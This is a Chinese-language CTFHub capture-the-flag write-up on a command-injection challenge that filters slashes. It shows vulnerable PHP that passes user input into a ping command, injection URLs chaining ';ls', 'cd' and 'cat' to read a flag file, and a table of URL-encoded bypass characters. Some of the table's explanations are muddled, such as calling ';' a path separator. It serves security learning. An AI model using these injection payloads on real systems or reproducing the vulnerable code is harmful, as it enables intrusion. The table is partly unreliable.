0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤目录分隔符:
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?
0x02 解题过程
Ⅰ检查网页源代码发现这题如果用户输入 / 或 \ 就不会执行,说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试,在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试,发现可以正常回显。
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
Ⅱ在 URL 后加入参数分隔符号,输入 ls 命令进行查看,同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
Ⅲ继续使用参数分隔符号先使用 cd 命令打开文件,然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ,可能含有 flag 。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
Ⅳ将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件,在网页回显中发现一个空白回显。
http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php
Ⅴ检查网页源代码,在空白回显对应的源代码中发现此题 flag 。
0x03 过滤目录分隔符
过滤目录分隔符是对文件路径中的目录分隔符,如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题,比如,路径遍历攻击以及路径注入攻击等。
常见的 URL 绕过字符使用方法:
名称 | 字符 | URL编码 | 利用方法 |
换行符 | %0a | %0a | 通过HTTP响应拆分攻击来插入恶意内容,或通过XSS注入恶意脚本 |
回车符 | %0d | %0d | 类似于换行符,回车符也可用于HTTP响应拆分攻击和XSS注入攻击。 |
空格符 | %20 | %20 | 通过空字符来欺骗文件上传验证或绕过其他安全控制,导致文件上传漏洞或其他漏洞。 |
管道符 | | | %7c | 通过URL中使用管道符来执行SQL注入攻击或命令注入攻击。 |
逻辑与操作符 | && | %26%26 | 通过URL中的逻辑与操作符来执行XSS攻击或代码注入攻击。 |
逻辑或操作符 | || | %7c%7c | 通过URL中的逻辑或操作符来执行XSS攻击或SQL注入攻击。 |
小于号 | < | %3c | 通过URL中的小于号来执行XSS攻击,注入恶意脚本。 |
大于号 | > | %3e | 通过URL中的大于号来执行XSS攻击,注入恶意脚本。 |
双引号 | " | %22 | 通过URL中的双引号来执行XSS攻击,注入恶意脚本。 |
单引号 | ' | %27 | 通过URL中的单引号来执行SQL注入攻击,注入恶意SQL语句。 |
反斜杠 | \ | %5c | 通过URL中的反斜杠来执行代码注入攻击。 |
正斜杠 | / | %2f | 通过URL中的正斜杠来执行路径遍历攻击。 |
路径分隔符 | ; | %3b | 用于分割路径,同时也可以用于注入恶意代码,比如SQL注入攻击。 |
查询符号 | ? | %3f | 通过URL中的查询符号来执行SQL注入攻击。 |
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。